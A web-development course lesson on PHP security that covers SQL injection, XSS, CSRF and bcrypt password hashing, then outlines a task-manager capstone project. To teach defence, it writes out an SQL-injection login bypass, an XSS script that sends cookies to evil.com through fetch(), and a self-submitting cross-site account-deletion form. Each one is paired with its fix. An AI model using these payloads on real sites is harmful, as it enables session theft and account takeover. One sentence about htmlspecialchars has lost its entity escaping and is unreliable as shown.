Week 8: Module Project — PHP + MySQL CRUD App & Security

1. SQL Injection, Revisited Properly

Week 7 introduced prepared statements as "the safe way." Here's exactly what goes wrong without them. Consider a naive login check:

<?php
$email = $_POST['email'];
$password = $_POST['password'];

$sql = "SELECT * FROM users WHERE email = '{$email}' AND password = '{$password}'";
$result = $pdo->query($sql);

An attacker submits email = admin@example.com' -- as the email field. The concatenated query becomes:

SELECT * FROM users WHERE email = 'admin@example.com' -- ' AND password = '...'

-- starts a SQL comment — everything after it, including the password check, is ignored. The attacker is now logged in as admin@example.com with no valid password at all. This works because the input became part of the SQL structure, not just its data.

The fix, as covered in Week 7, is a prepared statement — the value is bound as data and can never alter the query's structure, no matter what characters it contains:

<?php
$stmt = $pdo->prepare('SELECT * FROM users WHERE email = :email');
$stmt->execute(['email' => $_POST['email'] ?? '']);
$user = $stmt->fetch();

// Password verification happens separately, in PHP -- see the hashing section below

2. Cross-Site Scripting (XSS)

XSS happens when attacker-supplied content ends up executed as HTML/JavaScript in another user's browser. Say a comments feature stores and displays raw input:

<?php foreach ($comments as $comment): ?>
  <p><?= $comment['body'] ?></p>
<?php endforeach; ?>

An attacker submits a comment containing <script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>. Every other visitor who views the page now runs that script in their own browser, with their own session — the attacker can steal session cookies, submit forms as that user, or redirect them anywhere.

<?php foreach ($comments as $comment): ?>
  <p><?= htmlspecialchars($comment['body']) ?></p>
<?php endforeach; ?>

htmlspecialchars() converts < to <, > to >, and similar — the browser renders the malicious payload as inert text, never as a live <script> tag. The rule from Week 1 stands: escape every piece of dynamic content at the point it gets printed into HTML, without exception.

3. Cross-Site Request Forgery (CSRF)

CSRF tricks a logged-in user's browser into submitting a request they never intended — because browsers automatically attach cookies (including your session cookie) to any request sent to your domain, regardless of which site the request originated from. A malicious page hosted anywhere on the internet could contain:

<form action="https://yourshop.com/delete-account.php" method="POST">
  <input type="hidden" name="confirm" value="yes">
</form>
<script>document.forms[0].submit();</script>

If a logged-in user's browser merely visits that page, it silently submits a POST request to your site — with their session cookie attached automatically, exactly as if they'd clicked "delete my account" themselves. The fix is a CSRF token: a random, per-session value embedded in every form, which an attacker's page has no way to know:

<?php
session_start();

if (empty($_SESSION['csrf_token'])) {
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $submittedToken = $_POST['csrf_token'] ?? '';
    if (!hash_equals($_SESSION['csrf_token'], $submittedToken)) {
        die('Invalid request.');
    }
    // token is valid -- proceed
}
?>
<form method="post" action="delete-account.php">
  <input type="hidden" name="csrf_token" value="<?= htmlspecialchars($_SESSION['csrf_token']) ?>">
  <input type="hidden" name="confirm" value="yes">
  <button type="submit">Delete My Account</button>
</form>

hash_equals() compares the two tokens in constant time, regardless of where they first differ — a plain === comparison can theoretically leak timing information about how many leading characters matched, which matters for security-sensitive comparisons like this one. Laravel generates and checks CSRF tokens like this automatically starting Week 9; here you're seeing the mechanism it's built on.

4. Password Hashing

Never store a password in plain text, and never write your own hashing scheme. PHP's password_hash() uses bcrypt by default — a deliberately slow, salted hashing algorithm designed specifically to resist brute-force attacks even if the database is stolen:

<?php
declare(strict_types=1);

// At registration
$hash = password_hash($_POST['password'], PASSWORD_DEFAULT);
// $hash looks like: $2y$10$N9qo8uLOickgx2ZMRZoMy...
// Store $hash in the database -- never the raw password

$stmt = $pdo->prepare('INSERT INTO users (email, password_hash) VALUES (:email, :hash)');
$stmt->execute(['email' => $email, 'hash' => $hash]);

// At login
$stmt = $pdo->prepare('SELECT * FROM users WHERE email = :email');
$stmt->execute(['email' => $_POST['email'] ?? '']);
$user = $stmt->fetch();

if ($user && password_verify($_POST['password'], $user['password_hash'])) {
    session_start();
    session_regenerate_id(true); // new session ID on privilege change -- prevents session fixation
    $_SESSION['logged_in'] = true;
    $_SESSION['user_id'] = $user['id'];
} else {
    echo "Invalid email or password.";
    // Deliberately vague -- don't reveal whether the email or the password was wrong
}

password_hash() automatically generates a random salt and embeds it in the returned string, so password_verify() can extract it and re-derive the hash for comparison — you never handle the salt yourself. PASSWORD_DEFAULT tracks PHP's currently recommended algorithm, so a future PHP version can improve it without any code changes on your end.

5. The Module Project

This week's exercise is the module capstone — a complete task manager tying together every piece from Weeks 1 through 8: OOP structure, Composer autoloading, sessions, PDO with prepared statements, and everything from this week's security pass. Read through the target shape before starting:

task-manager/
├── composer.json
├── public/
│   ├── index.php        ← front controller: routes to actions below
│   ├── register.php
│   ├── login.php
│   ├── logout.php
│   ├── tasks.php        ← list + create (session-gated)
│   └── tasks-delete.php  ← delete (session-gated, CSRF-checked)
├── src/
│   └── App/
│       ├── Database.php       ← PDO connection factory
│       ├── UserRepository.php
│       └── TaskRepository.php
└── schema.sql

CREATE TABLE users (
    id INT AUTO_INCREMENT PRIMARY KEY,
    email VARCHAR(255) NOT NULL UNIQUE,
    password_hash VARCHAR(255) NOT NULL,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);

CREATE TABLE tasks (
    id INT AUTO_INCREMENT PRIMARY KEY,
    user_id INT NOT NULL,
    title VARCHAR(200) NOT NULL,
    is_done BOOLEAN NOT NULL DEFAULT FALSE,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    FOREIGN KEY (user_id) REFERENCES users(id)
);

6. Module Capstone Exercise

7. Knowledge Check

Four quick questions. Expand each to check your answer.